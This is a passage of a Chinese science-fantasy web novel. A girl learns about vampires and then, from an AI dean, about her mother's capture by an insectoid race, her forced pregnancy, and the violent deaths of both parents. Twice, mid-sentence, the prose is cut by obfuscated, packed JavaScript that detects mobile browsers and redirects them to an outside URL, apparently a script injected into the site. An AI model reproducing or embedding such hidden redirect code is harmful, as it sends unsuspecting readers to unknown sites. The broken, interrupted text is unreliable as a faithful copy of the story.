在接下来无比漫长的闲聊中,嬴欢得知黛西的妈妈原来是新闻界颇有名气的“新闻女王”,上至星际政府、集会游行,下至明星八卦、民间维权,这个世界上就没有她抓不住的热点。 黛西和妈妈一样热爱走在信息传播的最前线,手里多多少少也掌握了一些独家资料与情报。 作为利益交换,嬴欢关注了她的星际网账号。不看不知道,黛西的粉丝数量居然已破百万,在星际网中也算得上小有名气。 在黛西的软磨硬泡下又欠下一场私人访谈后,嬴欢总算又从她口中撬出来了一些关于“吸血鬼”的情报。 她神神秘秘地把木质座椅搬到嬴欢的身侧,落座。 “我妈曾经和我说过,我家祖上有一位和血族相爱的长辈。” 嗯──简单一句话就勾起了嬴欢的兴致,怪不得能有百万粉丝呢。 “我想想……根据我妈的描述,那位老祖宗和他爱人的恋情受到了双方家族的激烈反对。你也知道的,人类和血族的寿命相差太多,人们普遍认为两个人的结合没有好结果。” 在几百年前,社会的医疗技术并没有实现什么重大突破,人类平均寿命依旧维持在百岁左右,如果和寿命动辄千年的血族相爱,可想而知不会是一件容易接受的事。 当然,就算是科学技术发达的现在,人类与血族的寿命相比仍然是小巫见大巫。 “后来他们携手私奔,与家族断了联系。”黛西盯着落地窗外的某一处,轻轻抚摸着咖啡杯。 相比于几百、几千年前,现在的异族数量正在大大减少,这其中不仅有天灾的因素,还有人祸。 异族的体内普遍带有好斗、暴力等基因,比如人鱼族、白犀族、獾族……不过其中最著名的还属蝎族与蟒蛇族之间的生存战,这场战争导致前者在一段时间内数量骤减,迫不得已地躲回了深山老林里。 “古老的血族们在相当长的一段时间里把人类当作食物,狩猎、囚禁、虐杀──” 为了反抗血族的暴力行径,在那个吸血鬼泛滥的时期甚至冒出了“血猎”这种职业。 嬴欢:“……”突然理解了两个家族反对这段恋情的原因。 黛西像说错话了似的补充道:“啊,当然啦──星际联合政府早就已经颁布了《星际各族和平条例》,血族喝人血这件事被法律严格管控,现在每个学校的贩卖机都有人工仿制血袋哦。” 这点儿补充并没有缓解嬴欢的震惊感,虽然她从没用过贩卖机之类的,但学校里卖“血袋”这件事就是很反常规啊! 嬴欢把这种荒谬感归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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墨菲很想问问少女是怎么做到的,但一看到她那副苦兮兮的模样又不忍心开口了。 少女的咬肌都快变得僵硬了,血包?这听着可不像好词啊…… 只有黛西在举着相机的空闲安慰她,“亲爱的,这并不是永久性的,你还是有机会把它消除的。” “怎么消除?”她真的很急啊。 年轻的金发女郎坐了下来,开始给嬴欢答疑解惑,“首先呢,你得找到这个吸血鬼,并且要说服他心甘情愿地给你解除这道刻印。”虽然可能性极低就是了。 黛西的指尖点了点那抹印记,接着道:“如果你们两个协商一致,这个印记很快就能完全消失。但是,如果出了点儿别的差错,例如那只吸血鬼坚决不同意啦,那你可就只有一个方法可行了──” “嗯……比如什么呢?”墨菲很给面子地搭腔道。 黛西舌头一吐,做了个抹脖子的动作,像只活灵活现的仿真洋娃娃。 “……”嬴欢合上眼睛,如果到时候真的只剩下这一条道可走,那可就是个大麻烦了。 这里是熙熙攘攘的学校又不是什么荒郊野岭,她前脚还没等干掉人后脚防卫系统就能把她打成筛子。 好在这场讨论也并不是全无用处,至少还收获了一杯免费的咖啡呢,嬴欢这样安慰自己。 “谢谢你们的咖啡,我还得考虑考虑。”推开椅子,少女收拾好东西就要走人。 墨菲笑眯眯地赠送飞吻,“祝你好运。记得常来姐姐这儿喝咖啡呦。”她下次绝不会再掺和一丁点儿酒精进去了。 黛西得到了自己想要的东西,也是很开心地向少女挥手,反正她还欠自己一次访谈呢,不必再担心出现餐厅里那尴尬的一幕。 只有嬴欢受伤的世界达成了。 * 嬴欢坐上了校内直达的敞篷小车,一大排座位里只有她一个乘客──外加一个导航员阿姨。 阿姨对着她比划了几下,嬴欢这才发现原来阿姨原来是个聋哑人士。 [欢迎乘坐校内直达专车。]她的脸上带着和蔼的笑容,实时翻译器快速而准确地将话语朗读出来。 嬴欢伸出两根大拇指,向下弯曲了两下:[谢谢。] 天朗气清,小车的速度并不快,有点儿悠闲郊游的意思。 几只小彩蝶环绕在车辆的身边,嬴欢迎着阳光抬起食指,蝴蝶们落在指节上排排站好。 发丝被风吹向后方,露出光洁的脸庞。少女闭上双眼,感受微风轻轻拂过自己的身体。 酒精带来了短暂的梦影,就好似她已不再是“嬴欢”,而是一缕风,是一片草地,是一朵云。 车速慢慢加快,少女放肆地张开双臂,在无人的林中车道里放声大喊。 一个人的感觉真好! 53. 嬴毓(上) 【您已抵达目的地:克里斯纪念大厅。】自动航行助手提醒。 导航员向少女挥了挥手,是告别的意思。 嬴欢同样举起自己的右手,挥动:[再见。] 敞篷车渐渐驶离。 转过身去,映入眼帘的是一片恢宏的玻璃建筑物。 它的外表由虹彩玻璃点缀,各种色彩被透明灯条切割成大小不一的六边形,风格强烈,很容易让人眼前一亮。 道路两边布满了以郁金香为主的绿化带,盛开的花瓣在漫天白云下被衬得越发鲜明。 人流如织。 根据选课系统显示,今天纪念厅里只有一个活动──是来自Dr.X的“信息安全与个人隐私:全息时代的网络权益保护”主题讲座。 虽然听上去就很无趣,但奈何现场签到有学分赚,上百个名额短短几秒内便被哄抢而光。 刚听完讲座的学生们并肩前行,这里距离最近的食堂只有三分钟路程,每个人的脸上都充满了迫不及待。 太阳恰好被大楼遮挡住一半,少女把项链从衣料下翻出来,上面还留存着她滚烫的体温。 她半眯着眼睛,颇为冷漠地望着眼前那座富丽堂皇的纪念厅。 指腹摩挲着银链的表面,传来轻微的勒颈感。 仿佛自己真的就像只被挂上锁链的怪物。 她逆着人流向金色大厅走去。 “嘶,那人怎么有点儿眼熟?” “这不嬴欢吗!” “嚯──真的假的,撞上活的了!快拍快拍!” 嬴欢将周遭一切议论声全部抛在脑后,继续向前行进。 直到声音逐渐远去,周边的人越来越少,空气内只剩下漫长的寂静。 嬴欢踏上几段还算平稳的台阶,感应门恰好在此刻拉开。 门的后方,一道深蓝色的虚拟人像立于原地,他的目光直射在远方的人群里,不掺杂进任何情感。 像是在观察人类,像是在思考疑问,又像是在等待谁的出现。 他的瞳孔没有颜色,身上是一套标准版型的西装,再无其他饰品。 嬴欢在最后一层台阶停下,歪着头仔细看他。 她头一次这么近距离地观察这只“虚拟智能体”,总感觉哪里有点儿奇怪,就好像他们根本不在一个次元似的。 【你好,可爱的小姐──】眼前的虚影突然停止了“待机”。 他抱着双臂,声音带着一些虚拟人物特有的顿挫感,可无论是动作还是神态,他都比真正的人类还要鲜活许多。 和当考核官的那天不同,日常中的他并没有那么咄咄逼人的架势,甚至还会面露微笑地打招呼。 【你是专门来找我的,因为检测器的事情。】他一句话就道出了她的来意。 嬴欢开始怀疑这人是不是有读心术之类的,目光谨慎了许多。 【放轻松,小姐──】他的手中突然多了一朵郁金香,一朵以虚拟数据方式呈现的郁金香。 嬴欢看着花苞一点点在眼底下盛开、绽放,然后从空中有意识地飞往她的手边。 好吧,她得承认这种小把戏对她来说很有吸引力。她抬起一只手掌,稚嫩的花儿吐出几缕花丝,在手中飘舞、摇曳。 他走在最前方,嬴欢默默跟在后面。 他们来到一间偌大的教室里,灯光未熄,显然刚刚的讲座就是在这里进行的。 【好了,这位小姐。你可以畅所欲言了,我会尽我所能解答你的一切疑问。】Dr.X坐在主席台上,身型优雅而庄重。 嬴欢拧了拧秀气的眉毛,在他正对面的阶梯式座位里找了个舒服的位置坐了下来。 这算什么,线下一对一辅导? 她清了清嗓子,“我只有一个目的,我想知道这个项链究竟还要束缚我多久。” 【你明明可以将它当作一个简单的小饰品。】他近乎呓语道。 “不,我无法欺骗我自己。”嬴欢认真地盯着他道。 她不可能把一个具有定位功能的东西当成所谓的“饰品”,除非她是个彻头彻尾的傻子。 【唉……亲爱的小姐,恐怕你还没有意识到事情的严重性。】 “不好意思,我认为我很正常。”她最不正常的地方大概就是头脑一热答应了厄斯校长的请求。 【拥有自我性是好事,但这种意识如果过剩可就是灾难了。】 这是在阴阳她太自以为是吗? 嬴欢眯了眯眼睛,“让你们这种智障拥有自主意识才是人类真正的灾难。” 【哦──老天。别太过激了,小姐。让我们彼此都冷静一下。】这种纯粹的人身攻击让他很难不想起她的三好院长老伍兹。 冷静?这词真的适用于这家伙吗?嬴欢冷笑一声。 【现在我将为你展示一些东西,或许能解答你的一部分疑惑。】 一张虚拟荧幕出现在她的面前。 上面显示的是星际危机管理总局在一个月前公布的潜在危险名单,嬴欢的名字赫然在列。 嬴欢知道这个东西,邬泽曾给她展示过一次,但她并没有把它当回事。 【你能来到这里、来到克里斯学习,全靠邬泽上将一人在其中运作。】 【他以自己的权限无限延长了管理局的羁押命令,然而前提是你的精神值必须在这三个月里回到正常的区间内,以及不再做出任何伤人举动。但凡其中有一条失效,分分钟便会有专人把你带回管理局。】 嬴欢低着头,死死握住扶手。 凭什么,为什么!明明她什么都没做! “你还知道什么。”少女冷冷地看他,眼框内血丝密布。 眼前的Dr.X是凝聚了千百个时代的人类智慧与科学的结晶,是真正意义上的“集大成者”。 没有谁能欺瞒他,没有谁能愚弄他。 他露出一个机械的笑,将十指交叉在一块儿,【真是心急的孩子,那──我们先聊聊你的过去吧?】 【比如你的父母、你的身世、你的童年……】 仿佛有什么关键词触动了她的神经,指甲紧紧扣住掌心,一股激动且混杂着愤怒的情绪涌入大脑。 两人一个在阶梯上,一个在台下,形成明显的视觉差,尽管嬴欢占据了高处,气势却还是被狠狠压了一截。 他的目光是如此空洞,就像深渊本身。 他在凝视她,一点一点地吞噬她那故作沉稳的表象。 嬴欢想逃离这里,在这一刻,在这一秒钟。她将手搭在双腿两侧,皮肤下的血管不自觉地凸起、跳动。 她的大脑一片空白,只剩下毫无节奏的嗡鸣声,甚至有那么一瞬间忘记了来这里的目的。 Dr.X小幅度地笑了笑,他就是要借着这一点戳她的痛处。 【怎么突然不说话了,嬴欢同学?】 冷静,嬴欢。冷静下来。 嬴欢感觉自己的牙齿已经开始不听使唤地颤抖,尽管幅度极其微弱。 她知道,这是失序症发作的前兆。 冷静。 给我冷静下来。听到了吗,嬴欢! 不,不……冷静、冷静。 嬴欢陷入了深度的挣扎,她突然用力地扯住脖子上的“锁链”,窒息感稍稍压制了即将爆发的情绪。 不知多久后,两只手臂重新搭在扶手上,她缓慢地抬起脸颊。 “我无法说出我已经忘却的东西。” 她的脸上几乎见不到血色,阴沉的瞳孔怔怔凝望着眼前的虚拟人影。 诺亚星的白昼只有六个小时。 暗橙色的霞光席卷了整座天空,微弱的色彩透过玻璃幕墙,缓慢地落入少女的眼底。 她的影子拉长至灰白的墙面上,畸形、破碎。 【你的母亲是曾经赫赫有名的白垩行动队队长,是最早一批参与抵抗反叛者的人。】 她面前的荧幕变成了一个女人在战场中的背影,那是一张像素模糊的图片,连她身上的战甲反光都看不真切。 【她与队友们一起创建了「白梦长廊」,需要我给你解释一下这个名词吗,应该不必吧?】 汗毛尽数竖起,嬴欢难以置信地瞪大了眼睛。 白梦长廊……是她的亲生母亲创立的? 眼前的光幕还在切换。 【你的母亲死于18年前的伊隆战争中。】 三维图景还原出了18年前的伊隆星球──一副生灵凋敝、破败不堪的景象,所见之处只剩下断壁残垣,那是炮火猛烈轰炸后的痕迹。 他继续详细解释那段历史。 【反叛者阵营有很长一段时间由虫族领导,他们研制了一种特殊的信息素以方便驱动所有的虫族,妄想利用虫族的力量一步步统治所有的世界。】 【伊隆之前已经有不少星球沦陷,成为了虫族的战备基地。而伊隆之后,他们的目标是相邻星系最为富饶的诺亚星球。】 诺亚星的几个战区开始光速征兵,恨不得举全星之力援助伊隆星球。 【在战争白热化阶段,虫族首领抓住了伊隆军方指挥部致命的破绽,借此俘获了大量的前线军人,其中也包括了你母亲。】 “……” 细碎的片段不断闪回,嬴欢蓦然扶住额头,无名指上的玉戒发着无法忽视的莹光。 *回忆* 冰冷的审讯室内,高大的男人俯身靠近被锁链捆绑住的女人。 冷气萦绕在二人之间。 “阿毓,为什么不能好好待在我的身边呢?为什么一而再、再而三地选择逃离?”他勾了勾女人的手指,口器轻轻贴近女人的颈部。 眼前的“人”是虫族的半形态,光鲜艳丽的绒毛覆盖在他的面部,六角形的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545130|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复眼色彩诡谲。 他宽挺的后背延展出两对近乎透明的隐翅,上面有规律地布满了网格状的条纹,线条距离较宽,颇具美感。 翅膀安静地伏在身后,他的面颊削瘦,前胸宽厚饱满,几对附肢格外有力。 女人已经许久未曾合眼,眼眸猩红,像一颗会随时随地爆发的炸弹。 她咯咯冷笑,嗓子发出沙哑难听的声音:“你知道么,这世上不是谁都能够如愿以偿的。” “可是,你已经怀上了我的孩子。”他怔怔道。 “这不是你的孩子!” 女人疯了般地对他大吼,男人硬生生扛下了她的一个耳光,在下一波拳打脚踢来临前,他强行制止了女人的动作。 嬴毓被他的锯齿状的前足牢牢固定住,动弹不得。 目光放在隆起的小腹上,他放轻声音安抚着她,“好。它是你的孩子,只属于你──” 他只知道她不能再受刺激了,她的精神已经处于危险边缘。 而且要是动了胎气,到最后受苦打保胎针的还是她。 嬴毓对他的话毫无反应,眼角蓦然滑落一滴泪珠,那滴泪水一直蔓延到她的耳后,渐渐没入后颈。 她永远记得那个寒夜,就在这座审讯室里,眼前的“怪物”用蛮力强迫她与之交/配,使她最后怀上了他们虫族的血脉。 这是虫族登陆伊隆后的第一个计划──用人质进行虫卵繁殖实验。 他们成功了。 她怀上了一个肮脏的、有着虫族血脉的孩子。 嬴毓甚至不敢想象她的孩子将会是什么样子,它是否能活到生产日的那一天?它能在虫族的手中健康成长吗?它会迈上成为试验品的道路吗? 一切都是未知的。 所以,我的孩子,原谅我不能让你降生。 在往后的日子里,嬴毓花了无数时间去阻止它的到来,任何可执行的方法她都试过了,甚至有好几次都在流产的边缘,但最后都无疾而终。 无数次尝试后,嬴毓逐渐明白了一个绝望的道理──那些研究人员们有无数种保胎方法,就算嬴毓钻空子成功自杀了,他们也能硬生生把孩子从死尸的子宫中抢救出来。 她做什么都阻止不了这个必然性的事实。 生产日一天天来临,嬴毓开始变得满心纠结,一个母亲怎么能亲手杀害自己腹中的胎儿呢?可是她真的要让一个生命在无尽的痛苦中成长吗? 嬴毓在无尽的恐慌与后悔中度过了这些日子,肚子一天天变大,各种孕期激素纷至沓来,她的精神也跟着濒临崩溃。 生产日那天,嬴毓真真切切地在鬼门关走了一遭。羊水干涸,宫缩的疼痛让她一度昏迷。 还好。 她的孩子──顽强而坚韧。 当她看到助产士抱着孩子来到面前的那一刻,所有的不安都消失了。 “首领说,你可以给她起个名字。” 下身撕裂的疼痛被她尽数忽略,许许多多的字符浮现在眼前,或骁勇、或娇俏、或娴静、或文雅…… “嬴、欢。就叫她嬴欢吧……”惨白的唇缓缓张合,目光落在孩子皱巴巴的小脸上,坚定而饱含期望。 我希望你一生都活在欢声笑语中,远离苦难与悲伤。 我也希望你能健康成长,迈向希望、迈向光明、迈向和平的世界。 别怪妈妈,嬴欢。 别怪我。 * 座位上的少女忽而抬起眼眸,她像一只惊飞的鸟儿,冲着他高喊:“那个反叛者首领,就是我的父亲,对吗?” 【是。】 “她是故意被俘获的,对吗?” 【是。你母亲故意露出破绽,为了潜入敌营。】 “为什么?为什么是偏偏她?”少女怒目切齿,一股窒息感从喉咙涌了上来,“你们到底做了什么……你们……”一滴泪水从睫毛尾部滑落,转瞬即逝。 【虫族在那个年代里几乎无解,我猜想你母亲也是迫不得已,所以选择了剑走偏锋。】 眼前的少女一只手撑着身体,呼吸紧促。 失序症发作前期。 “最后呢,她成功了吗?” 【是,她成功了。她凭借身体里的窃听器让指挥总部掌握了许多绝密情报,在虫族准备屠城的前一个月,人类研究出了破局之法,那是一种能够击碎虫囊的高爆发武器……】 “哈哈哈……窃听器?那绝不是什么普通的窃听器吧?” 她的声音已经到了弱不可闻的地步,却冷不丁地抬起眼睛来,死死盯着虚影。 他罕见地沉默了片刻。 【是。那颗窃听器的蓝图是我设计绘制的,可以规避任何形式的检查。】 声音在她的脑海里不断堆叠,一点点唤醒沉睡已久的记忆。 一段更完整的记忆铺展开来。 54. 嬴毓(下) 嬴毓出生在狄兰城一个普通的工人家庭中,虽然收入微薄,但好在家庭和谐,生活美满。 小时候的她就很不听话。 人小姑娘还在扎辫子的时候,她就已经开始给自己剪短发了,等幼儿园小朋友们人手抓着一个娃娃的时候,她就已经学会摆弄军刀了,连老师和爸妈都说她是个“另类”。 邻居叔叔总说她没个女孩儿样,爸妈只会尬笑着附和,然而小嬴毓压根不在乎,依旧天天在自家树下砍树皮玩。 长大后的嬴毓更是独异于人,她一意孤行地报名参军,成为了那一届军校学生里少有的女人。 成为军人的第三年,她成功竞选为白垩小队的队长。第五年,她带领小队参与了数十次围剿反叛者的行动,并且全部大获全胜。 第十年,伊隆星球发出救援信号,向全星际范围内寻求军事援助。 嬴毓与小队队员们主动应征,与上千人一起组成了一支主力军,他们成为了首支登陆伊隆星球增援军队。 第十一年,战况趋向恶劣,虫族势不可挡,嬴毓被俘。同年,她的女儿在反叛者大本营出生。 嬴毓在女儿出生前一直将其视为不详的产物,直至看见刚从她的产道里出生的孩子,那张皱巴巴的小脸在对着她笑。 在那一瞬间,她体会到了生命的意义。 第十二年年初,战争陷入白热化阶段,嬴毓借用体内的窃听器将关键情报传回总部,五个月后,武器研发宣告成功。 在自卫军秘密攻破虫族大本营的前一天,她在窃听器内录下了自己的遗言,也是她留给嬴欢唯一的东西。 她用刀刃将窃听器从上肢挖了出来,放进防爆盒中,一同放入的还有她们赢家的祖传信物──一枚有裂痕的青玉戒指。 “孩子,对不起。你的母亲是一个战士。”她流着泪将盒子埋入骸骨堆积的巨坑中。 第二天凌晨,三千四百二十个机甲战士装配了最新研发的巡航粒子束武器,与成千上万的虫族厮战整整两天两夜,最终剩下一百零二十三人,将大本营的虫族旗帜燃烧殆尽。 那一天,整个星球都陷入了猛烈的战火中。方圆千里,寸草不生,唯有热血溅洒满地,与残败的废铜烂铁一并沉入泥土之中。 等少女再次睁开眼睛时,咸湿的热泪不自觉便流了满面。 她记起来了。 小小的她在父亲温暖的尾翅下酣睡,父亲的心跳声缓缓安抚着她的神经,那本该是美好而平静的一夜。 可就在夜深人静中,代表危险的警报声突然间响彻整个虫巢。 炮火声从远处逐渐逼近,如同浪潮般一波强过一波。 被唤醒的虫族倾巢出动,与身着机甲的战士们彼此厮杀。血肉翻飞,缕缕火舌直冲天际。 仅一墙之隔,一个女人穿过无数道安全门,利用首领亲自授予的权限,独身一人闯入了虫巢最隐匿的核心区。 感应门向两侧打开,女人站在清澈的月光中,眸底凛冽似霜。 半虫族形态的雄性微微仰首,用一种极为复杂的目光望着她,两对翅膀充满攻击性地高耸着。 也许在他选择给予她至高权限的那一刻,就应当预料到今晚的这一幕。 婴儿被他包裹在最温暖的腹翅交汇处,但还是被轰炸声吵醒,亮亮的眼睛透过翅膀与母亲视线交汇。 那是女人的孩子,唯一的孩子。 她乖巧又沉稳,哪怕从睡梦中惊醒也没有哭闹,只是伸出小小的手攥紧了父亲的翅膀。 那是下意识地亲昵。 女人仿佛被这一幕刺痛了般,她撕声怒吼,举起刀尖向男人刺去。 不到一个月的小嬴欢亲眼目睹了母亲如何将匕/首插入父亲的虫囊,浓黑的血液溅在婴孩的脸上,缓慢地流入那双明亮的眼睛中。 同一时刻,口器咬断了母亲的咽喉,翅膀因极致兴奋的震动发出阵阵扑簌声。他们身体交融,是虫族的交尾,也是人类的交/配。 两具身体双双倒下,交/合处面目全非,血与血混合为深浅两色的血泊,似乎再也无法将它们分割。 * 嬴欢缓缓抚向指骨间的戒指,那道丑陋的裂痕是母亲在某次任务为抵挡反叛者的一击而留下来的。 【看来你已经成功唤醒了母胎记忆。】 虫族在汲取母体营养的同时,也会完整保留在母体寄生期间的记忆。 也就是说,少女不仅是战争时期的负面产物,也是那场悲剧的亲历者、见证者。 【那么──这东西也是时候该交还于你了。】他的手心浮现出一只小型窃听器,样式是十几年前的旧款,小巧但又陈旧。 嬴欢怔怔地接过空中飞来的小物什,它忽然亮了起来。 “滴”的一声,它尘封的录音系统开启。 【已解码录音文件,内容如下。】 【──亲爱的孩子,你还好吗?当你听到这段录音的时候,应该已经和狄兰的小松树一样高了吧?】 【请原谅妈妈,我缺席了你的人生。这让我痛苦万分,却又不得已而为之。】 【我猜你一定是怨恨我的,让我在这里说一句‘对不起’吧。我知道无论什么话语弥补不了我的罪过,但──对不起,妈妈真的对不起你,对不起……】 【我想你会成长为一个令人骄傲的小家伙。即使没有,也不要难过。你要记得,在某个世界的一隅,会有人永远默默地爱着你。】 “滋啦”一声,女人的声音夏然而止,空气重回安宁。 嬴欢的眼睛微微瞪大,母亲沉着而温柔的声线一点一点地击碎了她的内心。剧烈的悲伤从心头涌出,像要活活将心脏剖开般,只剩下满目疮痍。 她的掌心紧紧攥住窃听器,上面的余温仿佛就像母亲血液留下的温度。 【不得不说,这一天的到来比我预想中要快得多。】 Dr.X已经替嬴毓把这窃听器保存了整整十八年,期间不断维修、保养内置元件,以确保它能正常工作。 毕竟也是嬴毓亲自从身上活生生挖下来的,他并没有更换它的外壳,尽量保持它最初始的状态。 少女的泪是无声无息的,她在流泪、清醒着流泪。 Dr.X不遗巨细地观察着她的每一个情绪变化,并且进行实时推测与解读。 少女的失序症有很大一部分原因可以归咎于她的虫族血脉,异族间的结合往往会产生一些无法预测的基因突变,这种改变可能会具体显现在外表上、体质上、甚至精神上。 可这一点却被埋藏了十八年之久──邬泽、邬明仪、秦尔槐、白无知、厄斯……他们无一不在刻意掩盖这个真相,让嬴欢独自背负着她不该承受的东西。 无论从哪个角度看,这对她来说都太不公平了。 她真的爱那个让她诞生于世的女人吗?或者说,那种情绪根本就是来源于恨呢? Dr.X的分析进程中无端多出了两个疑问。 在Dr.X的眼中,人类只是一串可视化的数据。 记忆是构成精神的地基,情绪是不可控的变量,而人们常说的“爱”或“恨”──那不是一种用言语能说清楚的东西,它神秘、不可琢磨。 记忆、情绪、爱或者恨,当几者交织在一起,究竟会发生什么呢? Dr.X的视网膜前方浮现出一个隐形的面板,上面事无巨细地罗列着少女的所有数值。 【精神值:?】 【情绪:?】 【兴奋指数:?】 【健康值:?】 他轻笑着吐出两个字,有趣。 数值全部被“?”所替代,这在Dr.X观测生涯中是前所未见的。 “院长先生,可以给我看看现在的伊隆星球吗?”嬴欢突然出声道。 Dr.X耸耸肩,【当然可以,我会尽可能地满足你的一切需求。】 说得倒是好听,实际上只是毫无营养的社交辞令罢了。 屏幕中的画面一转,一个简朴的大厦屹立在群楼之中,老旧的飞行器偶尔掠过镜头。 白色的鸟儿们成队向着南边飞去,阳光和煦,微风荡漾。 伊隆星早已没有了战争的痕迹。绿芽破土而出,在短短十几年里,植被以惊人的速度重新覆盖了那些瘢痕。 原来时间真的会治愈一切。 厚土之下,曾掩埋了无数人的遗骸,可是在经年累月后,枯骨尸冢间也能遍开繁花。 少女的唇角轻轻扬起,可泪水却一刻不停地往下流淌,它悄悄滴落在无名指间的戒指上,缓慢地被其吸收。 它本就发着微弱的翠色光芒,此刻在泪水的浸润下,正在一点一点地变得更加耀眼。 “小嬴欢。” 她仿佛听到了妈妈的声音,猛然睁开眼,却什么也没有。 “亲爱的孩子,我为你、感到骄傲。” 这一次,嬴欢听得尤为真切。手指不禁颤动,是戒指,她的戒指在说话! 【里面有微弱的能量残留,不过方才那句话已经快要将它的能量消耗殆尽了,且听且珍惜吧。】Dr.X一边对戒指进行扫描,一边注视着她的表情。 她分不清那股莫大的情绪名为何物,苦楚、悲伤、哀怨、仇恨……似乎每一个词都不够准确。 “我、的孩子──不要、为我、哭泣。” 因为戒指年头久远,其中的细节已经有所损失,但还是能够辨认出大致的内容。 双唇轻轻贴紧戒指裂痕处,鼻尖变得无比酸涩,这场相隔十八年的对话注定要像昙花一现般充满遗憾。 “我想、告诉、你,我很、爱你──小嬴欢,妈妈真的很、爱你、很爱你──” 脱口而出的爱意往往出现在最决绝的时刻。 “……” 冰冷的心脏一抽一抽地缩紧,她甚至无法说出一句“我也爱你”。 嬴欢眼睁睁看着戒指的光芒一点点消失,就像妈妈站在世界的另一 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她无法否认的是,明明这个家伙看起来那么讨厌,到头来竟然是对她最真诚的那一个。 Dr.X用手指点了点木质扶手,轻哼一声。 【比起言语上的无礼,我倒是觉得行动上的无礼才更让人心寒。】 嬴欢一愣,搞不清这人工智障又开始找什么茬,“比如什么?” 【比如,你拒绝了我的邀请。】他挥挥手,空中浮现出一张电子邀请函。 她定睛一看,原来是当初选院仪式前的那封信函。 这都过去多久了,他怎么还记得这件事?看来虚拟智能体的脑子确实要好用得多,少女略微出神地想。 【你宁愿选择老伍兹那个家伙也不肯选择我吗?】眼前的虚影一本正经地质问她。 人家伍兹院长也挺不错的,起码还给她免了课呢。 嬴欢默默在心底替伍兹老头说话,可到了嘴上却是另一番说法:“水仙院人才辈出,怎么着也不差我这一个。” 何况她这次考核成绩也只是在中下游徘徊,怎么看也都是个中规中矩的普通学生而已,不至于让堂堂院长大人恼怒成这样吧? 【不,这完全不一样。】机械质感的语气竟然能听得出几分严肃来。 这代表了下次会议里老伍兹又可以多了个嘲笑的“点”,到时候他又要被那些愚钝无礼的老家伙们群起而攻之了。 嬴欢才懒得管什么一样不一样的,她向外探了探头,眼看这天就要黑了,于是迅速转移话题道:“天色晚了,我就不打扰您休息了。” 院长之间的弯弯绕绕实在麻烦,身为一个普通人可不敢往里掺和,她还得好好考虑今晚住在哪儿呢。 嬴欢提腿便向教室外走去。 然而没想到的是,她就眨了下眼的工夫,虚影竟然从座位上直接闪现至她的眼前。 这哪里是什么院长?这明明就是鬼啊! 嬴欢的嘴唇微微抽动,幸好这附近早已没什么人路过,不然她恨不得当场开始挖地洞。 男人抱着双臂,精密的单边眼镜下是空洞的眼睛,他的眸中闪烁着不明意义的红光,在浓稠的黄昏下显得尤为诡异。 也不知道该拜谁所赐,嬴欢已经开始对红色灯光产生应激反应了。 每次一见到红光,脉搏就会极速上升至每分钟150次甚至更高,偶尔还会出现呼吸困难、恶心眩晕的情况。 鸡皮疙瘩掉了满地,嬴欢把这种现象归于晚风的缘故,她搓了搓受伤的手臂,企图给自己带来一点儿温暖。 或者说勇气。 Dr.X有些不解,明明他还什么都没说呢,怎么眼前的人类就像刚跑完两千米体测似的。 【你的固定带松开了,同学。】男人指了指她的肩部。 其实他刚才就想说了,只是这急性子的同学实在没耐心等他开口。 嬴欢见状,直接把固定装置拆开来,轻轻活动了几下关节,好像也没有那么痛了。 他检视了一下她的身体状况,能从出生到现在一直连着倒霉的人属实不多,也算是另一种层面上的“天选”之人了。 【不得不提,比起脆弱易折的人类,虫族拥有更卓越的恢复能力。】不然像她这么折腾来折腾去的,正常人早就投胎百八十次了。 嬴欢的动作一顿,拧眉:“看来我还要感谢上天赐予我非比寻常的异族体质?” 【我只是在陈述事实,你却提取出了一个错误的结论。】 “够了。”嬴欢举起双手,一步步退后。 她需要找个地方静静消化自己的情绪,要是再这么无意义地对话下去,恐怕又要陷入新一轮的失序状态了。 她可不想被打晕扔出克里斯。 55. 茉莉 [好漂亮,好想吃掉。] 最近克里斯因拟合体事件宣布全校戒严,宿舍楼的出入口安排了多道检查措施。 幸好嬴欢随身携带了学生证件,可即便如此,还是没能免得了被巡逻员拦下反复检查。 “实在不好意思,最近风头太紧了,上面抓得严,希望您能理解。”把嬴欢里里外外翻了个遍后,巡逻员露出一个颇具歉意的笑容。 “理解……当然理解。” 除此之外,嬴欢还能说什么呢?反正她收拾完行李就走,这点儿琐碎的程序就当更换宿舍付出的小小代价吧。 电梯上行至33层。 “叮咚──您已抵达指定楼层。” 亮金色的电梯门向两侧拉开,嬴欢抬起眼眸,愣在了原地。 一女一男各自倚靠在对立的墙面上,似乎专门在等待谁的到来,两人同时望着电梯打开的方向。 “……” 嬴欢恨不得当即摁下关门键,可是早已经来不及了,女孩儿先一步缠上了她的胳膊,半推半搡地把嬴欢带出了电梯厢。 “你那是什么表情?”邬涟拿出一只纸棒糖果,塞进了嘴巴里。 甜腻的苹果味渐渐蔓延了整只舌尖,红发下的双眸像盯着犯人般死盯着少女。 嬴欢冷漠地抽出手臂,与两个人保持一定的距离,“你们为什么堵在这里?”甚至更准确的说,是堵在了她宿舍门口。 “啊?本小姐是来帮你收拾那个血族家伙的,至于他?我不知道他干嘛要跟来。”女孩儿很不客气地把邬涟推出去挡枪。 好一手踩一捧一!邬涟被这倒霉妹妹气得差点儿把糖咬碎了。 眼见少女开始用一种怀疑的目光凝视他,邬涟烦躁地移开视线,含糊开口: “爱德华兹家可是出了名的难缠,万一你这傻瓜出了什么事,邬女士怕是饶不了我们两个。”他顺便扯上了邬蘅。 邬蘅听到最后忍不住剜了他一眼,谁和你“我们”上了?她可是真心实意为了姐姐的安全着想,谁像他似的,想做什么还得提前找个理由。 